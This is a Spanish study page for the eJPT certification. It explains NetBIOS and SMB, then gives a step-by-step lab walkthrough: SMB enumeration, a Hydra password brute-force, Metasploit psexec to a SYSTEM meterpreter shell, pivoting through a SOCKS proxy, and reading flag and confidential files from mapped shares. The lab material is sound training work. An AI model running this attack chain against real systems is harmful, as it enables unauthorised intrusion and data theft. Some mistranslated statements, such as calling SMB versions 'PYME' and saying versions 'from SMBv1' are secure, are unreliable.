> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-la-red/ataques-de-red/enumeracion-de-smb-y-netbios.md).

# Enumeración de SMB y NetBIOS

### 📘 ¿Qué es NetBIOS?

**NetBIOS** (Network Basic Input/Output System) es una API y conjunto de protocolos diseñados para permitir que aplicaciones en diferentes dispositivos dentro de una red local puedan descubrirse y comunicarse entre sí.

#### Servicios principales de NetBIOS:

* **Name Service (NetBIOS-NS)**: Permite registrar, eliminar y resolver nombres de dispositivos en la red local.
* **Datagram Service (NetBIOS-DGM)**: Comunicación sin conexión y soporte para broadcast.
* **Session Service (NetBIOS-SSN)**: Comunicación orientada a conexión, ideal para transferencias más fiables.

#### Puertos utilizados por NetBIOS:

* `137/UDP y TCP`: Servicio de nombres (Name Service)
* `138/UDP`: Servicio de datagramas (Datagram Service)
* `139/TCP`: Servicio de sesión (Session Service)

Aunque su uso ha disminuido en redes modernas, NetBIOS sigue activo en muchos entornos por compatibilidad con sistemas antiguos.

***

### 📁 ¿Qué es SMB?

**SMB** (Server Message Block) es un protocolo de red que permite compartir archivos, impresoras y otros recursos entre dispositivos en una red. Es ampliamente utilizado en entornos Windows.

#### Funcionalidades clave:

* Acceso remoto a archivos como si fueran locales.
* Compartición de impresoras.
* Comunicación entre procesos (IPC).
* Soporte para pipes nombrados.

#### Versiones de SMB:

* **SMB 1.0**: Versión original, con múltiples vulnerabilidades. Presente en sistemas antiguos como Windows XP.
* **SMB 2.0/2.1**: Introducido con Windows Vista/Server 2008. Mejora en rendimiento y seguridad.
* **SMB 3.x+**: Desde Windows 8/Server 2012. Incluye cifrado, soporte multicanal y mejoras para entornos virtualizados.

#### Puertos utilizados por SMB:

* `139/TCP`: Cuando opera sobre NetBIOS.
* `445/TCP`: Tráfico SMB directo, sin necesidad de NetBIOS (modo más moderno).

***

### 🧰 Enumeración de SMB y NetBIOS

Aunque NetBIOS y SMB estuvieron estrechamente vinculados, las implementaciones modernas suelen depender únicamente de SMB, utilizando DNS u otros métodos para la resolución de nombres.

#### ¿Qué se puede enumerar?

* **NetBIOS**: nombres de host, sesiones activas, recursos compartidos, etc.
* **SMB**: usuarios, recursos compartidos, políticas de contraseñas, versiones de SMB, acceso a archivos, y más.

#### Herramientas comunes:

* `nmblookup`, `nbtscan`: para enumerar NetBIOS.
* `smbclient`, `enum4linux`, `smbmap`, `crackmapexec` (NetExec): para interactuar y enumerar recursos SMB.

***

### 📝 Resumen comparativo

| **Característica**        | **NetBIOS**                                           | **SMB**                                                     |
| ------------------------- | ----------------------------------------------------- | ----------------------------------------------------------- |
| **Uso principal**         | Descubrimiento y comunicación en LAN                  | Compartir archivos, impresoras y servicios                  |
| **Protocolo**             | API heredada                                          | Protocolo de red moderno                                    |
| **Puertos comunes**       | 137 (UDP/TCP), 138 (UDP), 139 (TCP)                   | 139 (TCP, con NetBIOS), 445 (TCP, SMB directo)              |
| **Seguridad**             | No incluye cifrado ni autenticación fuerte            | Soporta autenticación y versiones modernas incluyen cifrado |
| **Vulnerabilidades**      | Alto riesgo si está habilitado innecesariamente       | SMB 1.0 vulnerable, versiones modernas más seguras          |
| **Uso actual**            | Reducción progresiva, aún presente por compatibilidad | Muy utilizado en entornos Windows modernos                  |
| **Herramientas de enum.** | `nmblookup`, `nbtscan`                                | `smbclient`, `enum4linux`, `smbmap`, `NetExec`              |

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali.

<figure><img src="/files/8Hy6Qcl0hWEV3RccN0Y7" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina/dominio proporcionado es accesible.

**Comandos:**

```
ping -c 5 demo.ine.local
ping -c 5 demo1.ine.local
```

<figure><img src="/files/8XkXonAjyFgS5qj3OzTm" alt=""><figcaption></figcaption></figure>

Sólo se puede acceder a una de las máquinas proporcionadas, es decir, demo.ine.local, y también encontramos las direcciones IP del objetivo.

**Paso 3:** Verifique los puertos abiertos en la máquina demo.ine.local.

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/MW8BvfQIJDqc7Mw0dVy3" alt=""><figcaption></figcaption></figure>

Hay varios puertos abiertos en la máquina demo.ine.local.

Todos los puertos exponen servicios centrales del sistema operativo Windows, es decir, SMB, RDP, RPC, etc.

En este laboratorio, realizaremos ataques al servicio SMB.

**Nota:** El protocolo Bloque de Mensajes del Servidor (SMB) es un protocolo de intercambio de archivos en red que permite a las aplicaciones de un equipo leer y escribir archivos, así como solicitar servicios de programas servidor en una red informática. El protocolo SMB puede utilizarse sobre su protocolo TCP/IP u otros protocolos de red. Mediante el protocolo SMB, una aplicación (o su usuario) puede acceder a archivos u otros recursos en un servidor remoto. Esto permite a las aplicaciones leer, crear y actualizar archivos en el servidor remoto. SMB también puede comunicarse con cualquier programa servidor configurado para recibir una solicitud de cliente SMB. Fuente: \[<https://docs.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview>]

De forma predeterminada, el servicio SMB utiliza el puerto IP 139 o 445. Además, está instalado y presente en todos los sistemas operativos Windows. Sin embargo, podemos desactivarlo o eliminarlo del sistema.

Existen múltiples versiones del protocolo SMB.

* SMB1
* PYME 2.0
* PYME 2.1
* PYME 3.0
* SMB 3.0.2
* PYME 3.1.1

SMBv1: Server Message Block (SMB) es un protocolo de red de capa de aplicación comúnmente utilizado en Microsoft Windows para proporcionar acceso compartido a archivos e impresoras. SMBv1 es el protocolo original, desarrollado en la década de 1980, lo que le otorga más de 30 años de antigüedad. Actualmente existen versiones más seguras y eficientes de SMB. El protocolo SMBv1 no es seguro. Al usar este protocolo antiguo, se pierden protecciones como la integridad de la preautenticación, la negociación segura de dialectos, el cifrado, la desactivación de inicios de sesión de invitados inseguros y la firma mejorada de mensajes. Microsoft ha recomendado a sus clientes que dejen de usar SMBv1 debido a su extrema vulnerabilidad y a la presencia de vulnerabilidades conocidas. WannaCry, un conocido ataque de ransomware, aprovechó vulnerabilidades del protocolo SMBv1 para infectar otros sistemas. Debido a los riesgos de seguridad, se ha desactivado la compatibilidad con SMBv1. Fuente: \[<https://kb.iu.edu/d/aumn>]

SMBv1 se utiliza en el antiguo sistema operativo Windows. Sin embargo, también está presente en el sistema operativo Windows más reciente. Podemos deshabilitar o habilitar todas las versiones de SMB modificando el registro de Windows.

A partir de SMBv1, todas las versiones son razonablemente seguras. Ofrecen numerosas protecciones de seguridad, como la desactivación de inicios de sesión de invitados inseguros, integridad de la preautenticación, negociación segura de dialectos, cifrado, etc.

Al escanear con nmap, descubrimos el puerto de servicio SMB 445.

Para obtener más información sobre todas las versiones y cambios del protocolo, consulte el siguiente enlace: \[<https://en.wikipedia.org/wiki/Server\\_Message\\_Block>]

Ahora, realicemos la enumeración y explotación del protocolo SMB.

**Paso 4:** Ejecutemos nmap en el puerto 445 para obtener más información sobre el protocolo.

**Dominio:**

```
nmap -sV -p 139,445 demo.ine.local
```

`-sV`:Sondear puertos abiertos para determinar información de servicio/versión

`-p 139,445`:Solo escanear puertos especificados

<figure><img src="/files/gCuREiaCwmIOm0hPuzqT" alt=""><figcaption></figcaption></figure>

Hemos recibido información sobre ambos puertos. Además, se ha identificado que el objetivo es...`Microsoft Windows Server 2008 R2 - 2012`

**Paso 5:** Ahora, identifiquemos todas las versiones de SMB compatibles en la máquina de destino.

Podemos identificarlo rápidamente usando el script nmap smb-protocols.

**Dominio:**

```
nmap -p445 --script smb-protocols demo.ine.local
```

`-p445`:Solo escanea el puerto especificado.

`--script smb-protocols`:Escaneo de script

<figure><img src="/files/Z3vvcKPGtDwesdZqUDJk" alt=""><figcaption></figcaption></figure>

Podemos observar que las tres versiones son accesibles.

Hay otro script nmap interesante para el protocolo smb que permite encontrar el nivel de seguridad del protocolo.

**Paso 6:** Ejecutemos el script nmap para encontrar el nivel de seguridad del protocolo smb.

**Dominio:**

```
nmap -p445 --script smb-security-mode demo.ine.local
```

<figure><img src="/files/WSob7m3LXv9h7jyHA8lJ" alt=""><figcaption></figcaption></figure>

Intentamos acceder al servidor SMB de destino con un usuario invitado. Recibimos información sobre el nivel de seguridad de SMB.

Podemos encontrar más información en el siguiente enlace: \[<https://nmap.org/nsedoc/scripts/smb-security-mode.html>]

Esto aclara que el script nmap usa el `guest`usuario para todos los análisis del script smb. También podemos definir otro usuario. Sin embargo, necesitamos credenciales válidas para acceder a la máquina de destino.

El `guest`usuario es el usuario predeterminado disponible en todos los sistemas operativos Windows.

Si un atacante tiene credenciales válidas en el equipo objetivo, la ejecución del comando es posible. Esto depende de los privilegios del usuario.

Ahora, veamos que tenemos el acceso `Null Session`, es decir, `Anonymous`en la máquina de destino usando la herramienta smbclient.

**smbclient** : smbclient es un cliente que puede comunicarse con un servidor SMB/CIFS. Ofrece una interfaz similar a la de un programa FTP. Sus operaciones incluyen, entre otras, la transferencia de archivos del servidor a la máquina local, la transferencia de archivos de la máquina local al servidor, la recuperación de información de directorio del servidor, etc.

**Paso 7:** Ejecutemos la herramienta smbclient para descubrir que tenemos acceso anónimo en la máquina de destino.

**Comandos:**

```
smbclient -L demo.ine.local
Password for [WORKGROUP\root]: <enter>
```

<figure><img src="/files/6FKgWHPYfsokoIMyjBuQ" alt=""><figcaption></figcaption></figure>

Podemos acceder al objetivo mediante inicio de sesión anónimo.

**Paso 8:** Ahora tenemos acceso anónimo a la máquina de destino. Podemos eliminar sin problemas todos los usuarios de Windows actuales mediante el script nmap.

Encontremos todos los usuarios presentes usando el script smb-enum-users de nmap.

**Dominio:**

```
nmap -p445 --script smb-enum-users.nse demo.ine.local
```

<figure><img src="/files/dwWOFvDxwlGbLykL5YPz" alt=""><figcaption></figcaption></figure>

Hay un total de cuatro usuarios presentes. `admin`, `administrator`, `root`, y`guest`

Los usuarios invitados y administradores son cuentas integradas.

Ahora, busquemos la contraseña válida para `admin`, `administrator`, y `root`el usuario.

**Paso 9:** Primero, creemos un archivo (users.txt) y mantengamos todos estos usuarios.

<figure><img src="/files/mMofEFAUeXN8xMJWrnTa" alt=""><figcaption></figcaption></figure>

Ahora, ejecutemos la herramienta Hydra para forzar el protocolo SMB para encontrar la contraseña válida de los usuarios proporcionados.

**Dominio:**

```
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
```

`-L`:Lista de usuarios

`-P`:Lista de contraseñas

`demo.ine.local smb`:Dirección de destino y protocolo de destino

<figure><img src="/files/FPlZhzaiaysAXr0z3eEP" alt=""><figcaption></figcaption></figure>

Hemos recuperado con éxito contraseñas válidas para los tres usuarios.

**Paso 10:** Ahora, podemos usar el marco Metasploit y ejecutar el módulo de explotación psexec para obtener el shell de meterpreter usando la contraseña válida del usuario administrador.

**Ejecución de código de usuario autenticado de Microsoft Windows:** Este módulo utiliza un nombre de usuario y una contraseña de administrador válidos (o un hash de contraseña) para ejecutar una carga útil arbitraria. Este módulo es similar a la utilidad "psexec" de SysInternals. Ahora, este módulo puede autolimpiarse. El servicio creado por esta herramienta utiliza un nombre y una descripción elegidos aleatoriamente. Fuente: \[<https://www.rapid7.com/db/modules/exploit/windows/smb/psexec/>]

¡Iniciemos el framework Metasploit y explotémoslo!

**Comandos:**

**Nota:** Si el exploit no te permite iniciar sesión en Meterpreter, ¡inténtalo de nuevo!

```
msfconsole -q
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser administrator
set SMBPass password1
exploit
```

<figure><img src="/files/aKMhrI2ukpmYnxQ7W07T" alt=""><figcaption></figcaption></figure>

¡Éxito! Hemos recibido una sesión de meterpreter.

**Paso 11:** Ahora, descubriremos información de la máquina de destino, por ejemplo, usuario actual, información del sistema, arquitectura, etc.

**Comandos:**

```
getuid
sysinfo
```

<figure><img src="/files/a1rWtNopnDCCSKkyiFPb" alt=""><figcaption></figcaption></figure>

Observamos que el objetivo está ejecutando un servidor Windows y hemos recibido una sesión de meterpreter con privilegios "SYSTEM" (o "NT Authority") en la máquina.

**Paso 12:** Leamos la bandera.

**Dominio:**

```
cat C:\\Users\\Administrator\\Documents\\FLAG1.txt
```

<figure><img src="/files/7ZBwSzY3jS75Zpsdq1Ba" alt=""><figcaption></figcaption></figure>

Hemos encontrado la BANDERA 1:`8de67f44f49264e6c99e8a8f5f17110c`

**Paso 13:** Verifiquemos si podemos acceder `demo1.ine.local`desde el host comprometido.

Antes de iniciar sesión, haga ping a la segunda máquina objetivo desde el host comprometido. Necesitamos conocer la dirección IP del `demo1.ine.local`host.

Recuerde, cuando hicimos ping a ambos destinos y descubrimos las direcciones IP de estas máquinas de destino:

1. demo.ine.local: 10.0.19.243
2. demo1.ine.local: 10.0.28.125

Ahora, hagamos ping a 10.0.28.125 y verifiquemos que sea accesible desde la segunda máquina.

**Comandos:**

```
shell
ping 10.0.28.125
```

<figure><img src="/files/IbWYSY5BJyy1cpTOh74A" alt=""><figcaption></figcaption></figure>

Podemos acceder a la máquina demo1.ine.local, es decir, 10.0.28.125.

Sin embargo, no podemos acceder a esa máquina (10.0.28.125) desde la máquina Kali. Por lo tanto, necesitamos pivotar agregando una ruta desde el framework Metasploit.

**Paso 14:** Agreguemos la ruta usando la sesión meterpreter e identifiquemos el segundo servicio de máquina.

**Comandos:**

```
CTRL + C
y
run autoroute -s 10.0.28.125/20
```

<figure><img src="/files/BUueN8tIez8DYBfVPmqo" alt=""><figcaption></figcaption></figure>

Hemos agregado exitosamente la ruta para acceder a la máquina demo1.ine.local.

**Paso 15:** Ahora, iniciemos el servidor proxy Socks para acceder al sistema Pivot en la máquina del atacante usando la herramienta Proxychains.

Primero inicie el `socks4a`servidor usando el módulo Metasploit.

**Servidor proxy Socks4a:** Este módulo proporciona un servidor proxy Socks4a con enrutamiento Metasploit integrado para retransmitir conexiones. Fuente: \[<https://www.rapid7.com/db/modules/auxiliary/server/socks4a/>]

**Nota:** Las cadenas proxy deben estar configuradas con los siguientes parámetros (al final de /etc/proxychains4.conf):

**Dominio:**

```
cat /etc/proxychains4.conf
```

<figure><img src="/files/YYJaPv2UWe2xhpMXvp5N" alt=""><figcaption></figcaption></figure>

Podemos observar que el puerto Socks4 es 9050.

Ahora, ejecutemos el módulo de servidor proxy auxiliar Socks de Metasploit en el puerto 9050.

**Comandos:**

```
background
use auxiliary/server/socks_proxy
show options
```

<figure><img src="/files/8dU1Hy2u0KOhY5XUrkw7" alt=""><figcaption></figcaption></figure>

Observamos que SRVPORT es 1080 y VERSION es 5, como se menciona en las opciones del módulo. Sin embargo, necesitamos configurar el puerto en 9050 y la versión en 4a. Modifiquemos ambos valores y luego ejecutemos el servidor.

**Comandos:**

```
set SRVPORT 9050
set VERSION 4a 
exploit
jobs
```

<figure><img src="/files/lmsK9yKpii5Tj8jJqbtF" alt=""><figcaption></figcaption></figure>

Podemos observar que el servidor está funcionando perfectamente.

**Paso 16:** Ahora, ejecutemos nmap con proxychains para identificar el puerto SMB (445) en la máquina pivote, es decir`demo1.ine.local`

También podríamos especificar varios puertos. Pero, en este caso, solo nos interesa el servicio SMB.

**Dominio:**

```
proxychains nmap demo1.ine.local -sT -Pn -sV -p 445
```

`demo1.ine.local`:La máquina de pivote

`-sT`:Escaneo de conexión TCP

`-Pn`:Omitir el descubrimiento de host y forzar el escaneo de puertos.

`-sV`:Sondear puertos abiertos para determinar información de servicio/versión

`-p 445`:Definir puerto a escanear

Este escaneo es la forma más segura de identificar los puertos abiertos. Podríamos usar un módulo auxiliar de escaneo de puertos TCP. Sin embargo, estos son muy agresivos y pueden interrumpir la sesión.

<figure><img src="/files/ejMJDcbEm2RBvhyjKAyQ" alt=""><figcaption></figcaption></figure>

Observamos que el puerto 445 está abierto en la máquina de destino.

**Paso 17:** Ahora, usemos el comando net view para encontrar todos los recursos compartidos por la máquina demo1.ine.local.

Interactúa nuevamente con la sesión de meterpreter.

**Comandos:**

```
sessions -i 1
shell
net view 10.0.28.125
```

<figure><img src="/files/4NYY795ZI2TlFRDfEwmz" alt=""><figcaption></figcaption></figure>

Hemos recibido el mensaje Acceso denegado.

Bueno, actualmente estamos ejecutando el sistema con el privilegio NT AUTHORITY\SYSTEM. Migremos el proceso a explorer.exe y accedamos de nuevo.

**Comandos:**

```
CTRL + C
migrate -N explorer.exe
shell
net view 10.0.28.125
```

<figure><img src="/files/Q3jDntvJcNdtWaODWtNf" alt=""><figcaption></figcaption></figure>

Esta vez, podemos ver dos recursos compartidos: Documentos y la unidad K. Esto confirma que el objetivo pivote (demo1.ine.local) permite sesiones nulas, por lo que podemos acceder a ellos. Además, podemos lograr el mismo objetivo de varias maneras.

**Paso 18:** Ahora, podemos mapear la unidad compartida a la máquina demo.ine.local usando el comando 'net'.

Vamos a mapear los recursos compartidos, es decir, las unidades Documentos y K.

**Comandos:**

```
net use D: \\10.0.28.125\Documents
net use K: \\10.0.28.125\K$
```

<figure><img src="/files/7zAyiT5PM9Zb3gkeNgUt" alt=""><figcaption></figcaption></figure>

Hemos asignado con éxito los recursos a las unidades D y K.

**Paso 19:** Verifiquemos qué hay dentro de estas unidades mapeadas.

**Comandos:**

```
dir D:
dir K:
```

<figure><img src="/files/rL89ytJWk1wJdSKjBDWX" alt=""><figcaption></figcaption></figure>

Ahora que podemos explorar el contenido compartido, podemos descargarlo o leerlo en la máquina del atacante.

Leamos los archivos FLAG2 y Confidential.txt.

**Comandos:**

```
CTRL + C
cat D:\\Confidential.txt
cat D:\\FLAG2.txt
```

<figure><img src="/files/jIJOxGzuqPozbpcUDkH3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AY3e8pGCCKPwr2eKPbXD" alt=""><figcaption></figcaption></figure>

Hemos encontrado la **BANDERA2:** c8f58de67f44f49264e6c99e8f17110c

Este archivo es la prueba definitiva para el cliente. Los archivos de la organización no son seguros. Por lo tanto, se deben implementar políticas y configuraciones adecuadas dentro y fuera del perímetro.
